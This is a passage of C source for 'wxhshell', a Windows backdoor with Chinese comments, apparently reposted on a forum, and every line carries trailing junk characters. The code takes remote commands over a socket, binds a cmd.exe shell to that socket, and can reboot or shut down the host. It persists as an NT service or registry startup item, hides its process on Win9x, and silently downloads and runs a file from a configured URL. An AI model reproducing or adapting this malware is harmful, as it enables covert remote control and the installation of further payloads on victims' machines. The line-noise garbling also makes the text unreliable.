  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AI9=?X<kh  
  } (15.?9  
  else { {@-tRm&  
IWhe N  
    switch(cmd[0]) { jt9@aN.mJN  
  OQyZ'  
  // 帮助 3A\Hiy!{F  
  case '?': { Lr"`OzDz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pf=CP%L  
    break; {gDoktC@M  
  } ^*~4[?]S  
  // 安装 *iPBpEWC  
  case 'i': { lx82:_  
    if(Install()) t +CU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0F1X s`  
    else _.,"`U; H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~%: TE}  
    break; n0^3F1Z  
    } [ID#P Ule  
  // 卸载 ;b, bHL  
  case 'r': { 'w\Gd7E  
    if(Uninstall()) 4'`*Sce}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |qq29dS?  
    else sNC~S%[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VOp+6ho<  
    break; ve(@=MJ  
    } e#tWQM3  
  // 显示 wxhshell 所在路径 .8CfCRq  
  case 'p': { 3 +D4$Y"  
    char svExeFile[MAX_PATH]; |q_Hiap#a  
    strcpy(svExeFile,"\n\r"); %BRll  
      strcat(svExeFile,ExeFile); 6b4]dvl_  
        send(wsh,svExeFile,strlen(svExeFile),0); elP#s5l4  
    break; %Vsg4DRy  
    } ?T[K{t;~jo  
  // 重启 L i`OaP$  
  case 'b': { `{J(S'a`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >9Y0t^Fl  
    if(Boot(REBOOT)) _#o75*42tT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *eUxarI  
    else { &+pp;1ls  
    closesocket(wsh); ? ~_h3bHH  
    ExitThread(0); Vvl8P|x.<  
    } byj7c(  
    break; k jR-p=}  
    } i$'#7U  
  // 关机 AiV1 vD`  
  case 'd': { M j |"+(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : DBJ2n  
    if(Boot(SHUTDOWN)) %TQ5#{Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {=E,.%8  
    else { ]LSlo593  
    closesocket(wsh); 0 9*?'^s4  
    ExitThread(0); TJ(vq]|&  
    } Hb9r.;r<EW  
    break; G\S_e7$ /  
    } rJcZ a#  
  // 获取shell Q .cL1uHc  
  case 's': { iA+zZVwO  
    CmdShell(wsh); \MmKz^tO  
    closesocket(wsh); p!cNn7{;  
    ExitThread(0); st(Y{Gs  
    break; to'O;f">n  
  } D?? \H\  
  // 退出 CK} _xq2b  
  case 'x': { aw'o=/a8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aaesgF  
    CloseIt(wsh); C6}`qD  
    break; T:EUI]  
    } Jd/XEs?<q  
  // 离开 K;(t@GL?  
  case 'q': { KHt#mQy)9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1VO>Bh.Wm  
    closesocket(wsh); g6<D 1r  
    WSACleanup(); [ST7CrwC  
    exit(1); .?-]+ -J?`  
    break; }kb6;4>c  
        } A ]~%<=b  
  } 17;qJ_T)  
  } <o&\/uO~H  
IgtTYxI  
  // 提示信息 J k FZd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U^xtS g  
} YH$whJ`W0  
  } w,zgYX&  
V%!my[b  
  return; +K*_=gHF.  
} {FNq&)#`  
r*4@S~;  
// shell模块句柄 -VRKQNT  
int CmdShell(SOCKET sock) $t42?Z=N&z  
{ eop7=!`-~~  
STARTUPINFO si; C2Af$7c  
ZeroMemory(&si,sizeof(si)); Qx}hiv/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &+F}$8,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G[[<-[C]5  
PROCESS_INFORMATION ProcessInfo; r#' E;Yx  
char cmdline[]="cmd"; Fpf-Fa-K\b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .ID9Xd$fky  
  return 0; {'eF;!!Dy  
} (e6KSRh2fF  
/kK:{  
// 自身启动模式 Hqm1[G)  
int StartFromService(void) BvV!?DY4  
{ )qV&sru.$  
typedef struct LDv>hzo  
{ [^E{Yz=8,  
  DWORD ExitStatus; `?xE-S ;Pn  
  DWORD PebBaseAddress; 5Gsjt+ o  
  DWORD AffinityMask; [+Y;w`;Fq  
  DWORD BasePriority; Nc[V kJ]  
  ULONG UniqueProcessId; `z!?!"=  
  ULONG InheritedFromUniqueProcessId; _i+7O^=d6X  
}   PROCESS_BASIC_INFORMATION; ?o6\>[O  
CaqMLi%  
PROCNTQSIP NtQueryInformationProcess; lC(g&(\{  
l>:\% ol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wZ =*ejo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y!L<& sl   
G .k\N(l  
  HANDLE             hProcess; [I7([l1Wvd  
  PROCESS_BASIC_INFORMATION pbi; #^&.*' z%z  
66shr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e.ksN  
  if(NULL == hInst ) return 0; 8ORr  
5Dlx]_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aXO|% qX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /0I=?+QSo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Di8;Tq  
\mp5G&+/Q  
  if (!NtQueryInformationProcess) return 0; [xsiSt?6  
u9R:2ah&K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Z<  
  if(!hProcess) return 0; /C)FS?=  
X mX .)h'Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G@;I^_gN  
PFnq:G^L  
  CloseHandle(hProcess); qQ "O;_  
jW!)5(B[A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &SE+7HXw  
if(hProcess==NULL) return 0; 5!)_" u3  
!2Q>   
HMODULE hMod; b5Pakz=jNM  
char procName[255]; mMRdnf!Uid  
unsigned long cbNeeded; bkfk9P  
a2N4Jg@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ag*zl  
@n:.D9  
  CloseHandle(hProcess); ngHPOI16  
6$^dOJ_"  
if(strstr(procName,"services")) return 1; // 以服务启动 H0.,h;  
eEG]JH  
  return 0; // 注册表启动 gELb(Y\ak  
} <"XDIvpc%L  
'}q1 F<&  
// 主模块 %/x%hs;d  
int StartWxhshell(LPSTR lpCmdLine) FI$#x%A  
{ >ey- j\_v  
  SOCKET wsl; +B0G[k7  
BOOL val=TRUE; v/B:n   
  int port=0; rv?d3QqIC  
  struct sockaddr_in door; ~NtAr1  
qxe%RYdA'j  
  if(wscfg.ws_autoins) Install(); !p~K;p,  
L7lRh=D  
port=atoi(lpCmdLine); XUyoZl?  
a \PvRW*I  
if(port<=0) port=wscfg.ws_port; M:Aik&  
E5b JIC(  
  WSADATA data; p-t*?p C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ma`Goi\vFk  
?hQ,'M2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rX<gcntv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .5~W3v <  
  door.sin_family = AF_INET; Z/ypWoV(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _("&jfn  
  door.sin_port = htons(port); ?w[M{   
g$f ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8>|@O<2\  
closesocket(wsl); = 5 E:CP  
return 1; =':,oz^|  
} }@V ,v[&e  
}w)`)N  
  if(listen(wsl,2) == INVALID_SOCKET) { U 0M>A  
closesocket(wsl); HjFY >(e  
return 1; Hf'yRKACj  
} hoQ?8}r:  
  Wxhshell(wsl); P00pSRQHD  
  WSACleanup(); K{&b "Ba1  
42m}c1R  
return 0; ,T|%vqbmw  
&Tf R].  
} S}hg*mWn{$  
nd] AvVS  
// 以NT服务方式启动 XTZI !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0+\~^  
{ ?Ze3t5Ll  
DWORD   status = 0; ",ic" ~  
  DWORD   specificError = 0xfffffff; 2.K"+%  
{mp;^/O`er  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \JLiA>@@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JqdNO:8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n>dM OQb  
  serviceStatus.dwWin32ExitCode     = 0; afZPju"-  
  serviceStatus.dwServiceSpecificExitCode = 0; IrRn@15,  
  serviceStatus.dwCheckPoint       = 0; adJoT-8P6  
  serviceStatus.dwWaitHint       = 0; 2rw<]Ce  
Wsr #YNhx|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W&>+~A  
  if (hServiceStatusHandle==0) return; pP'-}%  
z^f-MgWG  
status = GetLastError(); DT=!  
  if (status!=NO_ERROR) YJ5;a\QxN  
{ ~%Ws"1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uxto:6),P<  
    serviceStatus.dwCheckPoint       = 0; >Q~"/-bN)  
    serviceStatus.dwWaitHint       = 0; L?^C\g6u]  
    serviceStatus.dwWin32ExitCode     = status; 8<g_JW[%  
    serviceStatus.dwServiceSpecificExitCode = specificError; C%P"Ds=w0N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hfvs' .  
    return; e;=G|E  
  } ?nFT51 t/4  
XU0"f!23x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;D/'7f7.}  
  serviceStatus.dwCheckPoint       = 0; *TuoC5  
  serviceStatus.dwWaitHint       = 0; azB~>#H~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n^/,>7J   
} ;e0>.7m  
+{/zP{jH  
// 处理NT服务事件,比如:启动、停止 r,6~?hG]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EMH?z2iGd  
{ `.dTkL  
switch(fdwControl) @T1 >%oi  
{ p;n)YY$  
case SERVICE_CONTROL_STOP: U6=m4]~Z  
  serviceStatus.dwWin32ExitCode = 0; )_EobE\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ze$:-7Czl  
  serviceStatus.dwCheckPoint   = 0; Iw"?%k\U  
  serviceStatus.dwWaitHint     = 0; }}qR~.[  
  { 8IC((  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D0QXvrf  
  } t:M({|m Y  
  return; sI`i  
case SERVICE_CONTROL_PAUSE: nX Qz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ej<z]{`05  
  break; Smk]G))o{  
case SERVICE_CONTROL_CONTINUE: :;" 3k64  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6x@-<{L  
  break; 1&YP}sg)  
case SERVICE_CONTROL_INTERROGATE: cf@#a@7m9  
  break; qRB7I:m-Wi  
}; vfhip"1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B0Z~L){i  
} V!KtF  
y&__ 2t^u  
// 标准应用程序主函数 "_)   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ==(M vu`  
{ c_^H;~^rL  
`p^M\!h*O  
// 获取操作系统版本 qrX6FI  
OsIsNt=GetOsVer(); =GR Em5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '~ ]b;nA  
ijhMJ?3  
  // 从命令行安装 {/7'uD\ H  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mdwh-Cis/  
!s)2H/KM8  
  // 下载执行文件 $ ]81s`  
if(wscfg.ws_downexe) { & 8&WY1cU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *pasI.2s#  
  WinExec(wscfg.ws_filenam,SW_HIDE); N=+Up\h  
} 1*-58N*  
n6o}$]H  
if(!OsIsNt) { T  |j^  
// 如果时win9x,隐藏进程并且设置为注册表启动 OClY ,@  
HideProc(); Eun%uah6c  
StartWxhshell(lpCmdLine); r9vC&pWZ  
} y6j TT%  
else G>_ZUHd I  
  if(StartFromService()) .Yu,&HR  
  // 以服务方式启动 {{DW P-v4  
  StartServiceCtrlDispatcher(DispatchTable); oW+R:2I~O  
else ;5=pBP.  
  // 普通方式启动 9)YG)A~<  
  StartWxhshell(lpCmdLine); hG;u8|uT^i  
V u! ,tpa.  
return 0; AARhGx|L<  
}
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只看该作者 1 发表于: 2006-10-10
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